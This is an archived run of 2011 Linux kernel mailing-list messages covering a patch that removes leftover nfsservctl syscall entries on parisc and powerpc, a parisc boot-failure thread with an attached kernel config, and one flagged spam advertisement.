 	ENTRY_SAME(ni_syscall)		/* query_module */
 	ENTRY_SAME(poll)
 	/* structs contain pointers and an in_addr... */
-	ENTRY_COMP(nfsservctl)
+	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
 	ENTRY_SAME(setresgid)		/* 170 */
 	ENTRY_SAME(getresgid)
 	ENTRY_SAME(prctl)
diff --git a/arch/powerpc/include/asm/systbl.h b/arch/powerpc/include/asm/systbl.h
index f6736b7..fa0d27a 100644
--- a/arch/powerpc/include/asm/systbl.h
+++ b/arch/powerpc/include/asm/systbl.h
@@ -171,7 +171,7 @@ SYSCALL_SPU(setresuid)
 SYSCALL_SPU(getresuid)
 SYSCALL(ni_syscall)
 SYSCALL_SPU(poll)
-COMPAT_SYS(nfsservctl)
+SYSCALL(ni_syscall)
 SYSCALL_SPU(setresgid)
 SYSCALL_SPU(getresgid)
 COMPAT_SYS_SPU(prctl)
-- 
1.7.5.4

-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: linux-next: build failure in Linus' tree
Date: Mon, 29 Aug 2011 15:50:42 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <1314658242.3078.18.camel@dabdike.int.hansenpartnership.com>
References: <20110829104451.1c777e24ff72823d1e399f12@canb.auug.org.au>
	 <20110830083218.1819a5d73c3a33e5053e8312@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1314658255 13168 80.91.229.12 (29 Aug 2011 22:50:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 22:50:55 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>, linux-next@vger.kernel.org,
	linux-kernel@vger.kernel.org, NeilBrown <neilb@suse.de>,
	linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
	"J. Bruce Fields" <bfields@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Tue Aug 30 00:50:50 2011
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1QyAfG-0002PX-RR
	for glkn-linux-next@lo.gmane.org; Tue, 30 Aug 2011 00:50:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755071Ab1H2Wuo (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 29 Aug 2011 18:50:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60260 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754103Ab1H2Wun (ORCPT
	<rfc822;linux-next@vger.kernel.org>);
	Mon, 29 Aug 2011 18:50:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5B65F8EE0B0;
	Mon, 29 Aug 2011 15:50:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZUpqhcGyjpAr; Mon, 29 Aug 2011 15:50:43 -0700 (PDT)
Original-Received: from [172.16.2.217] (unknown [12.29.126.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 110CA8EE062;
	Mon, 29 Aug 2011 15:50:43 -0700 (PDT)
In-Reply-To: <20110830083218.1819a5d73c3a33e5053e8312@canb.auug.org.au>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:18433 gmane.linux.kernel:1185744 gmane.linux.ports.ppc64.devel:76820 gmane.linux.ports.parisc:3920
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/18433>

On Tue, 2011-08-30 at 08:32 +1000, Stephen Rothwell wrote:
> Hi Linus,
> 
> On Mon, 29 Aug 2011 10:44:51 +1000 Stephen Rothwell <sfr@canb.auug.org.au> wrote:
> >
> > After merging the fixes tree, today's linux-next build (powerpc
> > ppc64_defconfig) failed like this:
> > 
> > arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
> > (.text+0xbd00): undefined reference to `.sys_nfsservctl'
> > arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
> > (.text+0xbd08): undefined reference to `.compat_sys_nfsservctl'
> > 
> > Caused by commit f5b940997397 ("All Arch: remove linkage for
> > sys_nfsservctl system call") which also missed parisc.
> > 
> > I will apply this patch for today:
> 
> Will you please appply this?  (repeated for ease of inclusion)
> 
> From: Stephen Rothwell <sfr@canb.auug.org.au>
> Date: Mon, 29 Aug 2011 10:38:57 +1000
> Subject: [PATCH] remove remaining references to nfsservctl
> 
> These were missed in commit f5b940997397 "All Arch: remove linkage
> for sys_nfsservctl system call" due to them having no sys_ prefix
> (presumably).
> 
> Cc: NeilBrown <neilb@suse.de>
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>

Thanks for finding this ... definitely acked by me if necessary.

James



From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 31 Aug 2011 11:54:29 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314784479 28486 80.91.229.12 (31 Aug 2011 09:54:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Aug 2011 09:54:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 31 11:54:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QyhVD-0008F5-4e
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Aug 2011 11:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755171Ab1HaJye (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Aug 2011 05:54:34 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:58176 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752665Ab1HaJye (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Aug 2011 05:54:34 -0400
Original-Received: (qmail 11891 invoked by uid 81); 31 Aug 2011 09:54:29 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 31 Aug 2011 11:54:29 +0200
In-Reply-To: <201108191958.35802.eike-kernel@sf-tec.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3921
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3921>

> The last kernel I used on this machine was 2.6.38.4. Any hints
> appreciated.

I updated the machine to 2.6.38.8 (works fine after applying
b54cd0d5053633373cd3c374aa203024cbf125a0 and reverting
c3f957a22eca106bd28136943305b390b4337ebf) and 3.0.4, which is still
broken. Any ideas?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 31 Aug 2011 11:48:20 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20110831154820.GH22818@bombadil.infradead.org>
References: <201108191958.35802.eike-kernel@sf-tec.de>
 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1314805710 20620 80.91.229.12 (31 Aug 2011 15:48:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Aug 2011 15:48:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 31 17:48:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qyn1b-0002Rp-R8
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Aug 2011 17:48:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756641Ab1HaPsX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Aug 2011 11:48:23 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:43099
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755777Ab1HaPsW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Aug 2011 11:48:22 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1Qyn1Z-0000op-1P; Wed, 31 Aug 2011 15:48:21 +0000
Content-Disposition: inline
In-Reply-To: <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3922>

On Wed, Aug 31, 2011 at 11:54:29AM +0200, Rolf Eike Beer wrote:
> > The last kernel I used on this machine was 2.6.38.4. Any hints
> > appreciated.
> 
> I updated the machine to 2.6.38.8 (works fine after applying
> b54cd0d5053633373cd3c374aa203024cbf125a0 and reverting
> c3f957a22eca106bd28136943305b390b4337ebf) and 3.0.4, which is still
> broken. Any ideas?

Attach .config?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 31 Aug 2011 12:04:19 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20110831160419.GI22818@bombadil.infradead.org>
References: <201108191958.35802.eike-kernel@sf-tec.de>
 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
 <20110831154820.GH22818@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1314806666 27648 80.91.229.12 (31 Aug 2011 16:04:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 31 Aug 2011 16:04:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 31 18:04:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QynH2-0003AR-GL
	for glpp-linux-parisc@lo.gmane.org; Wed, 31 Aug 2011 18:04:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932071Ab1HaQEU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Aug 2011 12:04:20 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:47568
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932069Ab1HaQET (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Aug 2011 12:04:19 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1QynH1-0003fB-75; Wed, 31 Aug 2011 16:04:19 +0000
Content-Disposition: inline
In-Reply-To: <20110831154820.GH22818@bombadil.infradead.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3923>

On Wed, Aug 31, 2011 at 11:48:20AM -0400, Kyle McMartin wrote:
> Attach .config?
> 

I suspect bootmem changes have broken somewhere on 32-bit... try
inserting a few printk between each of the function calls at the start
of paging_init to try to narrow down exactly where it fails.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Build-a-home-based-business-on-Auto-Pilot
Date: Wed, 31 Aug 2011 05:38:27 -0700 (PDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <201108311238.p7VCcRH3030854@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1314862177 9173 80.91.229.12 (1 Sep 2011 07:29:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Sep 2011 07:29:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 01 09:29:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qz1iM-00020c-3N
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Sep 2011 09:29:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753632Ab1IAH33 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Sep 2011 03:29:29 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:62762 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753211Ab1IAH33 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Sep 2011 03:29:29 -0400
X-Greylist: delayed 92832 seconds by postgrey-1.27 at vger.kernel.org; Thu, 01 Sep 2011 03:29:27 EDT
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p7VCcTug030865
	for <linux-parisc@vger.kernel.org>; Wed, 31 Aug 2011 05:38:29 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p7VCcRH3030854;
	Wed, 31 Aug 2011 05:38:27 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3924 gmane.spam.detected:4886714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3924>



Hello Everyone,
Discover how average people who have never made a cent in the past
Are now making $1,000+ every month,=20
With the Potential of making $50,000 a month
Just "Plug In"... to Your
Own Fully Automated=20
  Turn Key...Global Marketing $ystem
Receive $500-$3,500 Monthly or MORE
Not MLM...and
No Selling...
No Cold Phone Calling.=20
Complete plug-in-system!

Check-it-Out!

http://trckrs.com/48184/rc1

It=92s surprisingly cool!

Dan and Noel


His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380
In compliance with Federal law, should you choose to Un.Subscribe from =
our network, you may do so using theUn.Subscribe instruction found belo=
w.  We are fully compliant with CAN-SPAM Act of 2005-Please use the Un.=
Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap (code 7)
Date: Thu, 01 Sep 2011 21:13:28 +0200
Lines: 1763
Approved: news@gmane.org
Message-ID: <1891504.mJvjzKWgIf@donald.sf-tec.de>
References: <201108191958.35802.eike-kernel@sf-tec.de> <20110831154820.GH22818@bombadil.infradead.org> <20110831160419.GI22818@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart9841753.576dZBSHie"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1314904459 3715 80.91.229.12 (1 Sep 2011 19:14:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 1 Sep 2011 19:14:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 01 21:14:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QzCiK-0004Ex-Fj
	for glpp-linux-parisc@lo.gmane.org; Thu, 01 Sep 2011 21:14:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757282Ab1IATOL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Sep 2011 15:14:11 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:38354 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757438Ab1IATOI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Sep 2011 15:14:08 -0400
Original-Received: (qmail 32378 invoked from network); 1 Sep 2011 19:14:03 -0000
Original-Received: from dslb-092-077-094-093.pools.arcor-ip.net ([::ffff:92.77.94.93] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.20svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 01 Sep 2011 19:14:03 +0000
User-Agent: KMail/4.6.0 (Linux/2.6.37-12-desktop; KDE/4.6.4; i686; ; )
In-Reply-To: <20110831160419.GI22818@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3925>


--nextPart9841753.576dZBSHie
Content-Type: multipart/mixed; boundary="nextPart1678851.zauVQ3EooY"
Content-Transfer-Encoding: 7Bit


--nextPart1678851.zauVQ3EooY
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

You wrote:
> On Wed, Aug 31, 2011 at 11:48:20AM -0400, Kyle McMartin wrote:
> > Attach .config?
> 
> I suspect bootmem changes have broken somewhere on 32-bit... try
> inserting a few printk between each of the function calls at the start
> of paging_init to try to narrow down exactly where it fails.

.config is attached, I'll try to do some printk or bisecting tomorrow.

Eike
--nextPart1678851.zauVQ3EooY
Content-Disposition: attachment; filename="kernel-config-parisc-3.0.4"
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="utf-8"; name="kernel-config-parisc-3.0.4"

#
# Automatically generated make config: don't edit
# Linux/parisc 3.0.4 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_HAVE_IRQ_WORK=y
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_DEFAULT_HOSTNAME="voyager.sf-tec.de"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
CONFIG_FHANDLE=y
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_CGROUPS is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EXPERT is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_PERF_COUNTERS is not set
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y

#
# GCOV-based kernel profiling
#
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
# CONFIG_LBDAF is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=y
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
